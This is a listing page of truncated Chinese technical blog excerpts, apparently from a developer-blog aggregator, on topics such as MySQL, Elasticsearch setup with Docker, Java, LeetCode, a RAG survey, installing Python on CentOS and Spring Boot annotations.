前言 大家好吖&#xff0c;欢迎来到 YY 滴MySQL系列 &#xff0c;热烈欢迎&#xff01; 本章主要内容面向接触过C Linux的老铁 主要内容含&#xff1a; 欢迎订阅 YY滴C专栏&#xff01;更多干货持续更新&#xff01;以下是传送门&#xff01; YY的《C》专栏YY的《C11》专栏YY的…

【运维】Elsatic Search学习笔记

基本使用 Elasticsearch(简称ES): 是一个开源的高扩展的分布式全文搜索引擎 Docker安装Elasticsearch1 version: "3.1" services:elasticsearch:image: elasticsearch:7.13.3container_name: elasticsearchprivileged: trueenvironment:- "cluster.nameelast…

数字孪生关键技术及体系架构

摘要&#xff1a; 数字孪生以各领域日益庞大的数据为基本要素&#xff0c;借助发展迅速的建模仿真、人工智能、虚拟现实等先进技术&#xff0c;构建物理实体在虚拟空间中的数字孪生体&#xff0c;实现对物理实体的数字化管控与优化&#xff0c;开拓了企业数字化转型的可行思路…

初始Java篇(JavaSE基础语法)(5)(类和对象(上))

个人主页&#xff08;找往期文章包括但不限于本期文章中不懂的知识点&#xff09;&#xff1a;我要学编程(ಥ_ಥ)-CSDN博客 目录 面向对象的初步认知 面向对象与面向过程的区别 类的定义和使用 类的定义格式 类的实例化 this引用 什么是this引用&#xff1f; this引用…

开源博客项目Blog .NET Core源码学习(13:App.Hosting项目结构分析-1)

开源博客项目Blog的App.Hosting项目为MVC架构的&#xff0c;主要定义或保存博客网站前台内容显示页面及后台数据管理页面相关的控制器类、页面、js/css/images文件&#xff0c;页面使用基于layui的Razor页面&#xff08;最早学习本项目就是想学习layui的用法&#xff0c;不过最…

《Retrieval-Augmented Generation for Large Language Models: A Survey》 AI 解读

论文链接&#xff1a;Retrieval-Augmented Generation for Large Language Models: A Survey 论文标题&#xff1a;《Retrieval-Augmented Generation for Large Language Models: A Survey》 一译中文版地址&#xff1a; https://yiyibooks.cn/arxiv/2312.10997v5/index.htm…

【LeetCode】热题100 刷题笔记

T1 两数之和 题目 链接&#xff1a; https://leetcode.cn/problems/two-sum/submissions/517876748/?envTypestudy-plan-v2&envIdtop-100-liked 【刷题感悟】这道题用两层for循环也能做出来&#xff0c;但我们还是要挑战一下时间复杂度小于 O ( n 2 ) O(n^2) O(n2)的解…

智慧校园管理系统

一、项目介绍 1.1 项目简介 智慧校园管理系统&#xff1a;主要是以年级、班级为单位&#xff0c;进行老师和学生信息记录和统计功能。项目采用前后端分离架构思想&#xff0c;前端采用HTMLCSSVUE来实现页面效果展示&#xff0c;后端采用SpringBootMybatisPlus框架实现数据存储…

数据库----数据类型正确选择

mysql支持的数据类型&#xff1a; 数值型&#xff0c;如INT&#xff0c;BIGINT&#xff0c;FLOAT和decimal 日期和时间类型&#xff0c;如DATE,TIME和TIMESTAMP等 字符串类型&#xff0c;如VARCHAR,CHAR和BLOB 空间数据类型&#xff0c;如GEOMETRY&#xff0c;POINT和POLYGON J…

论文阅读: Visual Attention Network

Motivation 自注意力机制在2D自然图像领域面临3个挑战&#xff1a; 视二维图像为一维序列。对于高分辨率图像&#xff0c;二次复杂度消耗太大。只捕捉空间适应性&#xff0c;忽略通道适应性。 Contribution 设计了 Large Kernel attention(LKA)&#xff0c;包含卷积和自注意…

虚拟机Linux(centos)安装python3.8(超详细)

一、Python下载 下载地址&#xff1a;https://www.python.org/downloads/source/ 输入下面网址即可直接下载&#xff1a; python3.8&#xff1a;https://www.python.org/ftp/python/3.8.0/Python-3.8.0.tgz python3.6&#xff1a;https://www.python.org/ftp/python/3.6.5/…

复习中心极限定理

&#x1f349; CSDN 叶庭云&#xff1a;https://yetingyun.blog.csdn.net/ 中心极限定理的核心概念&#xff1a; 中心极限定理&#xff08;Central Limit Theorem&#xff09;是统计学中的核心理论&#xff0c;指出当独立随机变量的样本量足够多时&#xff0c;它们的平均值将逐…

【现代企业管理】企业组织结构和组织文化的理论与实践——以华为为例

一、前言 管理是科学和艺术的统一体&#xff0c;它是企业成长的保证。企业管理中&#xff0c;管理者面对的往往不是一个完整的系统&#xff0c;而是各种不具有整体规律性的零碎信息的总和&#xff0c;因此进行信息的整合和研究是管理的重点和关键。 组织管理作为管理的四大职…

SpringBoot常见注解有哪些

Spring Boot的核心注解是SpringBootApplication , 他由几个注解组成 : ● SpringBootConfiguration&#xff1a; 组合了- Configuration注解&#xff0c;实现配置文件的功能&#xff1b; ● EnableAutoConfiguration&#xff1a;打开自动配置的功能&#xff0c;也可以关闭某个自…